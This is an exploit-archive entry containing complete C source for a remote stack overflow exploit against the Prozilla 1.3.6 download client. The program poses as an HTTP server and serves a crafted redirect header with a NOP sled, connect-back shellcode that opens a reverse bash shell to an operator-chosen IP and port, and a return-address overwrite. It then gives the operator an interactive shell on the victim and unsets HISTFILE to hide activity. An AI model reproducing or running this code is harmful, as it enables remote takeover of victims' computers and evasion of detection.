Author

Serkan Akpolat

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-8477

Category

remote exploits

Date add

23-11-2004

Platform

linux

============================================
Prozilla 1.3.6 Remote Stack Overflow Exploit
============================================

/* 20/10/2004
** This is a private work of Serkan Akpolat deicide@siyahsapka.org
** for the unpublished prozilla-1.3.6 format string/buffer overflow
** vulnerability , though this version only exploits the stack overflow.
** Tested against current gentoo/slack/debian/suse with success. :P
** Client side: proz hostname:port/anyfile.name
** Default listen port is 8080
** Homepage: www.siyahsapka.org ||  deicide.siyahsapka.org
**/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#define PORT 8080
#define MAX_RESPONSE 2048
#define TRUE 1

char packet_start[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://";

char packet_end[]=\
"\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";

/* Shellcode with no control character.
** Nop's in the shellcode will be patched for attacker defined ip port
** at runtime.
*/
char real_response[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://blahblahblah.com/movie.wmv\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";

unsigned char shellcode[] = {
 /* write(1,"\n\n\n\n",4) 0x31 times */
 0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
 0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
 0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
 0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
 /* write(1,"\n\n\nEnd of file while parsing header",38);*/
 0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
 0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
 0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
 0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
 0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
 0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
 /* fork(); */
 0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
 /* If we are parent  exit(?) */
 0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
 0xfe, 0xc0, 0x43, 0xcd, 0x80,
 /* setsid() */
 0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
 /* signal(SIGHUP,SIG_IGN) */
 0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
 /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
 0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
 0x80,
 /* i = connect(sock, sockaddr, 16) */
 0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
 0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
 0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
 0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
 0x4c, 0xb0, 0x66, 0xcd, 0x80,
 /* if (i != 0) jmp exit(?) */
 0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
 /* write(sd,"SSSS",4) */
 0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
 /* dup2 loop */
 0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
 0x3f, 0xcd, 0x80,
 /* execve("/bin/bash",{"bash",NULL} , NULL) */
 0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
 0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
 0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
 0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
 0x40, 0xcd, 0x80,
 /* exit(?); */
 0x31, 0xc0, 0x40, 0xcd, 0x80
};

void usage(char *progname)
{
   fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
   "-c <ip address> connectback ip address\n"\
   "-p <port>       connectback port (default = 8080)\n", progname);
   exit(1);
}

/* Interactive shell session */
void shell(int sock)
{
   /* from sambal.c, hey eSDee ;) */
   fd_set  fd_read;
   char buff[1024], *cmd="unset HISTFILE; echo \"*** Hobareeeey! ***\";uname -a;id;\n";
   int n;
   FD_ZERO(&fd_read);
   FD_SET(sock, &fd_read);
   FD_SET(0, &fd_read);
   send(sock, cmd, strlen(cmd), 0);

       while(1) {
       FD_SET(sock,&fd_read);
       FD_SET(0,&fd_read);
       if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
       if (FD_ISSET(sock, &fd_read)) {
           if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
               fprintf(stderr, "EOF\n");
               exit(2);
           }
           if (write(1, buff, n) < 0) break;
       }
       if (FD_ISSET(0, &fd_read)) {
           if((n = read(0, buff, sizeof(buff))) < 0){
               fprintf(stderr, "EOF\n");
               exit(2);
           }
           if (send(sock, buff, n, 0) < 0) break;
       }
       usleep(10);
   }
   fprintf(stderr, "Connection lost.\n\n");
   exit(0);
}

void put_ip(int i,int j)
{
   shellcode[j]=i;
}

void put_xor(int i,int j,int k)
{
   shellcode[j+k]=i;
}

int find_xor(int a,int b,int c)
{
   int i=49,j=49;
   for(i=49;i<255;i++) {
       for(j=49;j<255;j++) {
           if(a==(i^j)) {
               put_ip  (i,b);
               put_xor (j,b,c);
               b++;
               return b;
           }
       }
   }
   return -1;
}

void check_zombie(int x)
{
   waitpid(-1,NULL,WNOHANG);
}

void send_start(int connection)
{
   if (send(connection,packet_start,strlen(packet_start),0)==-1) {
       perror("send");
   }
   fprintf(stderr,"[+] Sending Header Start\n");
}

void send_nop(int connection)
{
   int  i = 0;
   int  j = 1;
   char buffer [1024] ="AA@@";
   char counter [128];

   memset(counter ,0x00,128 );
   memset(buffer+3,0x41,1021);
   buffer[1024-1]='\0';

   while(i<96) {
       if (send(connection,buffer,strlen(buffer),0)==-1) {
           perror("send");
       }
       i++;
       if(!(i%4))
           j++;
       memset (counter,0x2b,j);
       memset (counter+j,0x20,26-j);
       fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
       memset(counter,0x00,sizeof(counter));
   }

   fprintf(stderr,"\n");
   fprintf(stderr,"[+] Sending Shellcode\n");

   if (send(connection,shellcode,strlen(shellcode),0)==-1) {
       perror("send");
   }

}

void send_hostname(int connection)
{
   int  i = 0;
   char fill_buffer[1600];
   memset(fill_buffer,0x00,1600);

   /* We dont care about alignment, return 0x08080808 */

   for(;i<400;i++) {
       strcat(fill_buffer , "\x08\x08\x08\x08");
   }

   fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");

   if (send(connection,fill_buffer,1600,0)==-1) {
       perror("send");
   }
}

void send_end(int connection)
{
   fprintf(stderr,"[+] Sending Header End\n");
   if (send(connection,packet_end,strlen(packet_end),0)==-1) {
       perror("send");
   }
}

int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
{
   int control;

   if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
       perror("Socket:");
       exit(1);
   }

   control_addr->sin_port=htons(PORT);
   control_addr->sin_addr.s_addr=INADDR_ANY;
   control_addr->sin_family=AF_INET;

   if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
       perror("Bind:");
       exit(1);
   }
   if(listen(control,128)!=0) {
       perror("Listen:");
       exit(1);
   }

   *from_len =sizeof(*from_addr);
   signal(SIGCHLD,check_zombie);
   return control;
}

int main(int argc,char **argv)
{
   /* ip patch position */
   int    i=194;
   int    opt_p=0,opt_c=0;
   int    port,porthigh,portlow;
   int    c,f;
   int    control;
   int    connection,from_len;
   int    ip1,ip2,ip3,ip4;
   char   http_response [2048];
   char   client_request[2048];
   struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
   struct sockaddr_in *from_addr    = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));

   while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
           switch (c) {
               case 'h':
                   usage(argv[0]);
               case 'c':
                   opt_c=1;
                   sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
                   break;
               case 'p':
                   opt_p=1;
                   port = atoi(optarg);
                   if ((port <= 0) || (port > 65535)) {
                       fprintf(stderr, "Invalid port.\n\n");
                       exit(1);
                   }
           }
   }
   if(opt_p) {
       porthigh = (port & 0xff00) >> 8;
       portlow  = (port & 0x00ff);
   }
   else {
       port     = 8080;
       porthigh = (port & 0xff00) >> 8;
       portlow  = (port & 0x00ff);
   }
   if(!opt_c) {
       usage(argv[0]);
   }
   memset(http_response,0x0,MAX_RESPONSE);
   control = init_socket(control_addr,from_addr,&from_len);

   /* patch ip */
   i = find_xor(ip1,i,6);
   i = find_xor(ip2,i,6);
   i = find_xor(ip3,i,6);
   i = find_xor(ip4,i,6);

   /* patch port */
   i  = 207;
   i = find_xor( porthigh,i,5);
   i = find_xor( portlow ,i,5);

   while(TRUE) {
       if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
           exit(1);
       }

       fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
       if (read(connection,client_request,sizeof(client_request))==0) {
           exit(1);
       }

       /* Victim Responded */
               if(strstr(client_request,"Prozilla"))
               {
                       fprintf(stderr,"[+] Victim using Prozilla.\n");
                       f=1;
               }
               else {
                       if(strstr(client_request,"SSSS")) {
                   fprintf(stderr,"Nice , Victim Responded!\n");
               shell(connection);
                       }
                       else {
                               fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
                               if(send(connection,real_response,strlen(shellcode),0)==-1) {
                               perror("send");
                               }
               }
               }
               if(f==1) {
               /* HTTP */
               send_start(connection);
               /* nop sled [nop@] */
               send_nop(connection);
               /* Overwrite Saved Ret , return to heap */
               send_hostname(connection);
               /* HTTP END */
               send_end(connection);
                       f=0;
               }
       close(connection);
       memset(client_request,0x0,sizeof(client_request));

       if (fork()==0) {
               free(from_addr);
               free(control_addr);
               exit(0);
       }
       else {
           close(connection);
       }

   }

   printf("Done");
   return 0;
}


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